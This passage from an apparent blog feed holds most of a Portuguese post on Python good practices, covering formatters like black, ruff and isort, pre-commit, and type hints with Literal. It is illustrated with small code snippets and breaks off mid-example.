&lt;h1 id=&quot;conclusão&quot;&gt;Conclusão&lt;/h1&gt;

&lt;p&gt;Não foi barato, não foi fácil, e durou quase um ano. Mas no final das contas, deu tudo certo e acho que é isso o que importa.&lt;/p&gt;

&lt;p&gt;Espero que escrevendo essa pequena anedota ajude você também a fazer a sua conversão :)&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Boas práticas com Python</title>
   <link href="https://bvanelli.github.io/2024/11/30/melhores-praticas-com-python/"/>
   <updated>2024-11-30T00:00:00+00:00</updated>
   <id>https://bvanelli.github.io/2024/11/30/melhores-praticas-com-python</id>
   <content type="html">&lt;blockquote&gt;
  &lt;p&gt;O meu ponto de vista sobre como desenvolver código conciso e legível.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;
&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#introdução&quot; id=&quot;markdown-toc-introdução&quot;&gt;Introdução&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#zen-do-python&quot; id=&quot;markdown-toc-zen-do-python&quot;&gt;Zen do Python&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#mudando-mas-sem-mudar&quot; id=&quot;markdown-toc-mudando-mas-sem-mudar&quot;&gt;Mudando, mas sem mudar&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#mantenha-se-atualizado&quot; id=&quot;markdown-toc-mantenha-se-atualizado&quot;&gt;Mantenha-se atualizado&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#use-formatadores&quot; id=&quot;markdown-toc-use-formatadores&quot;&gt;Use formatadores&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sistema-de-tipos&quot; id=&quot;markdown-toc-sistema-de-tipos&quot;&gt;Sistema de tipos&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#use-os-tipos-corretos&quot; id=&quot;markdown-toc-use-os-tipos-corretos&quot;&gt;Use os tipos corretos&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#retorne-objetos-não-dicionários&quot; id=&quot;markdown-toc-retorne-objetos-não-dicionários&quot;&gt;Retorne objetos, não dicionários&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#evite-múltiplos-tipos&quot; id=&quot;markdown-toc-evite-múltiplos-tipos&quot;&gt;Evite múltiplos tipos&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#mypy&quot; id=&quot;markdown-toc-mypy&quot;&gt;mypy&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#não-complique-descomplique&quot; id=&quot;markdown-toc-não-complique-descomplique&quot;&gt;Não complique, descomplique&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#evite-a-otimização-prematura&quot; id=&quot;markdown-toc-evite-a-otimização-prematura&quot;&gt;Evite a otimização prematura&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#use-ferramentas-da-linguagem&quot; id=&quot;markdown-toc-use-ferramentas-da-linguagem&quot;&gt;Use ferramentas da linguagem&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#evite-aninhamento&quot; id=&quot;markdown-toc-evite-aninhamento&quot;&gt;Evite aninhamento&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusão&quot; id=&quot;markdown-toc-conclusão&quot;&gt;Conclusão&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;

&lt;h1 id=&quot;introdução&quot;&gt;Introdução&lt;/h1&gt;

&lt;p&gt;Não há dúvidas de que Python é uma das linguagens mais fáceis para
iniciantes. &lt;a href=&quot;./2020-03-15-resolvendo-problemas-com-python.markdown&quot;&gt;No artigo anterior&lt;/a&gt;,
discutimos como um Sudoku pode ser resolvido com apenas algumas linhas de código. No entanto, como tio Ben uma vez
disse,
&lt;em&gt;com grandes poderes vêm grandes responsabilidades&lt;/em&gt;. Esse artigo é uma compilação de algumas dicas de como desenvolver
sem ser levado à completa loucura.&lt;/p&gt;

&lt;h1 id=&quot;zen-do-python&quot;&gt;Zen do Python&lt;/h1&gt;

&lt;p&gt;Há um certo &lt;em&gt;easter egg&lt;/em&gt; na linguagem introduzido pela &lt;a href=&quot;https://peps.python.org/pep-0020/&quot;&gt;PEP20&lt;/a&gt; quando você importa
o pacote com &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;import this&lt;/code&gt; (tradução retirada da &lt;a href=&quot;https://pt.wikipedia.org/wiki/Zen_de_Python&quot;&gt;Wikipedia&lt;/a&gt;):&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The Zen of Python, by Tim Peters&lt;/p&gt;

  &lt;ul&gt;
    &lt;li&gt;Bonito é melhor que feio.&lt;/li&gt;
    &lt;li&gt;Explícito é melhor que implícito.&lt;/li&gt;
    &lt;li&gt;Simples é melhor que complexo.&lt;/li&gt;
    &lt;li&gt;Complexo é melhor que complicado.&lt;/li&gt;
    &lt;li&gt;Linear é melhor do que aninhado.&lt;/li&gt;
    &lt;li&gt;Esparso é melhor que denso.&lt;/li&gt;
    &lt;li&gt;Legibilidade conta.&lt;/li&gt;
    &lt;li&gt;Casos especiais não são especiais o bastante para quebrar as regras.&lt;/li&gt;
    &lt;li&gt;Ainda que praticidade vença a pureza.&lt;/li&gt;
    &lt;li&gt;Erros nunca devem passar silenciosamente.&lt;/li&gt;
    &lt;li&gt;A menos que sejam explicitamente silenciados.&lt;/li&gt;
    &lt;li&gt;Diante da ambiguidade, recuse a tentação de adivinhar.&lt;/li&gt;
    &lt;li&gt;Dever haver um — e preferencialmente apenas um — modo óbvio para fazer algo.&lt;/li&gt;
    &lt;li&gt;Embora esse modo possa não ser óbvio a princípio a menos que você seja holandês.&lt;/li&gt;
    &lt;li&gt;Agora é melhor que nunca.&lt;/li&gt;
    &lt;li&gt;Apesar de que nunca normalmente é melhor do que &lt;em&gt;exatamente&lt;/em&gt; agora&lt;/li&gt;
    &lt;li&gt;Se a implementação é difícil de explicar, é uma má ideia&lt;/li&gt;
    &lt;li&gt;Se a implementação é fácil de explicar, pode ser uma boa ideia&lt;/li&gt;
    &lt;li&gt;Namespaces são uma grande ideia — vamos ter mais dessas!&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;Muitas vezes existe a tentação enorme de pular muitos dessas dicas. Às vezes, nos deparamos com variáveis que não
conseguimos decidir por um bom nome, ou funções que são muito grandes, mas não temos ideia ou tempo para refatorar.
A tentação muitas vezes é grande para deixar ferramentas de inteligência artificial fazer funções inteiras, sem
entender o código escrito.&lt;/p&gt;

&lt;p&gt;Como um desenvolvedor, seu trabalho é chegar em um equilíbrio: como conciliar todos esses desafios?&lt;/p&gt;

&lt;h1 id=&quot;mudando-mas-sem-mudar&quot;&gt;Mudando, mas sem mudar&lt;/h1&gt;

&lt;p&gt;A primeira parte das dicas de boas práticas é dedicada à todas as práticas que não alteram uma linha de funcionalidade
no seu código (com sorte!). Essas são as dicas que você pode implementar imediatamente com o mínimo de refatoramento.&lt;/p&gt;

&lt;h2 id=&quot;mantenha-se-atualizado&quot;&gt;Mantenha-se atualizado&lt;/h2&gt;

&lt;p&gt;Pode parecer bobo, mas atualizar constantemente seu interpretador vai te trazer inúmeros benefícios, o mais relevante
deles sendo o desempenho e segurança. Exceto se você for um banco que precisa manter código de 60 anos
funcionando (creio que não seja), vale atualizar-se nas novas funcionalidades das versões.&lt;/p&gt;

&lt;h2 id=&quot;use-formatadores&quot;&gt;Use formatadores&lt;/h2&gt;

&lt;p&gt;Qual o melhor tipo de indentação, espaços ou tabs? Quantos espaços usar? Uso snake_case ou camelCase? Que ordem coloco
meus imports?&lt;/p&gt;

&lt;p&gt;Não importa! Use um formatador e pronto.&lt;/p&gt;

&lt;p&gt;Sério, todo mundo gosta pretensiosamente de pensar que seu jeito de escrever código é o melhor, e fim de papo. Mas a
realidade é que o que é confortável para um não é para o outro. Por isso, autoformatadores garantem que se código
vai ser o mesmo independentemente de quem o escreve.&lt;/p&gt;

&lt;p&gt;Um desses formatadores é o &lt;a href=&quot;https://github.com/psf/black&quot;&gt;black&lt;/a&gt;. Experimente no
&lt;a href=&quot;https://black.vercel.app&quot;&gt;black playground&lt;/a&gt; como um formatador pode transformar seu código&lt;/p&gt;

&lt;p&gt;Antes de formatar:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;very_important_function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;template&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;variables&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PathLike&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;debug&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;Applies `variables` to the `template` and writes to `file`.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Após formatar:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;very_important_function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;template&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;variables&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PathLike&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;debug&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;Applies `variables` to the `template` and writes to `file`.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Outro formatador (e linter) é o &lt;a href=&quot;https://github.com/astral-sh/ruff&quot;&gt;ruff&lt;/a&gt;, que além de formatar outras seções de código
e ser compatível com o Black, também é capaz de executar regras de melhores práticas e uniformidade. Por exemplo, você
já deve saber que no Python é possível criar dicionários de duas formas:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{&quot;foo&quot;: &quot;bar}&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dict(foo=&quot;bar&quot;)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Isso não é exatamente compatível com o Zen do Python:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Dever haver um — e preferencialmente apenas um — modo óbvio para fazer algo.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;O ruff garante, com regras, que somente uma dessas formas (a primeira) será utilizada no seu código, eliminando assim
disparidades de implementação.&lt;/p&gt;

&lt;p&gt;Outra ferramenta interessante e amplamente utilizada é o &lt;a href=&quot;https://github.com/PyCQA/isort&quot;&gt;isort&lt;/a&gt;, que uniformiza como
seus imports devem ser utilizados: qual a ordem, e como são utilizados. Ele vai, por exemplo, organizar seus imports
de forma alfabética, automaticamente agrupar imports do mesmo pacote e mover imports absolutos acima dos parciais.&lt;/p&gt;

&lt;p&gt;Todos os três formatadores que citei são compatíveis com &lt;a href=&quot;https://pre-commit.com/&quot;&gt;pre-commit&lt;/a&gt;, que garante que todos
serão executados a cada commit no seu repositório, evitando assim que outros desenvolvedores empurrem código não
formatado e que não cumpram as regras de formatação. Adicionalmente, você pode adicionar o pre-commit na CI para 
executar nos &lt;em&gt;pull requests&lt;/em&gt;, te avisando de PRs mal formatados.&lt;/p&gt;

&lt;h1 id=&quot;sistema-de-tipos&quot;&gt;Sistema de tipos&lt;/h1&gt;

&lt;p&gt;A linguagem tira as barreiras do
&lt;a href=&quot;https://pt.wikipedia.org/wiki/Sistema_de_tipos&quot;&gt;sistema de tipos&lt;/a&gt; (ou &lt;em&gt;static typing&lt;/em&gt;), sendo possível que um objeto
tenha vários tipos diferentes durante execução do programa. Por exemplo, a seguinte função consegue ser executada
com múltiplos tipos de entrada:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;somar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;somar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# Resulta em 3
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;somar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# Result em &quot;12&quot;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;somar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# Resulta em 1
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;somar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# Resulta em TypeError: can only concatenate str (not &quot;int&quot;) to str
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;No entanto, o que é para ajudar, acaba piorando. Quem desenvolveu código na época do Python 2 sabe o desastre que pode
ser, e consegue entender o motivo de que muitas pessoas terem aversão ao Python. E após bastante tempo (tempo até
demais), o Python 3.5 adicionou &lt;a href=&quot;https://docs.python.org/3/library/typing.html&quot;&gt;suporte para tipos&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Você deve estar se perguntando: cria-se uma linguagem sem tipos, e depois se adiciona tipagem, e um verificador de
tipos para checar se os tipos fazem sentido? Pode parecer contraintuitivo, mas esse foi o rumo que linguagens como o
Javascript (com &lt;a href=&quot;https://www.typescriptlang.org/&quot;&gt;Typescript&lt;/a&gt;) e Python (com &lt;a href=&quot;https://mypy-lang.org/&quot;&gt;mypy&lt;/a&gt;) tomaram.&lt;/p&gt;

&lt;p&gt;Sem tipagem de variáveis, é bem possível que o seu código fique extremamente confuso, principalmente se você precisa
manter código que não é seu. Aliás, quem nunca voltou para o seu código depois de 6 meses para descobrir que não faz
mais idea do que determinadas funções recebem de parâmetros?&lt;/p&gt;

&lt;p&gt;Com a tipagem correta (e assumindo que eu quero somar inteiros), o código acima pode ser escrito como:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;somar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;use-os-tipos-corretos&quot;&gt;Use os tipos corretos&lt;/h2&gt;

&lt;p&gt;Faça a tipagem de modo mais específico possível. Por exemplo, ao declarar:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;parse_txt_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;extract_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;file_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;file_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;txt&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;parse_txt_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Fica óbvio na função acima quais os tipos que determinadas entradas devem ter, e o que devem retornar.&lt;/p&gt;

&lt;p&gt;Mas não fica claro que o &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file_type&lt;/code&gt; pode assumir apenas alguns valores
(como tipos de arquivos). Um melhor tipo para essa função seria usar o
&lt;a href=&quot;https://docs.python.org/3/library/typing.html#typing.Literal&quot;&gt;typing.Literal&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;typing&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Literal&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;extract_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;file_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Literal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;txt&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;pdf&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;xlsx&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nesse caso, é diretamente claro quais tipos de arquivo a função suporta, sem ao menos olhar a implementação dela.&lt;/p&gt;

&lt;h2 id=&quot;retorne-objetos-não-dicionários&quot;&gt;Retorne objetos, não dicionários&lt;/h2&gt;

&lt;p&gt;Dê uma olhada no seguinte método:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;parse_page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;dict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;dict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;metadata&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;page&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;page_num&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;page_num&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
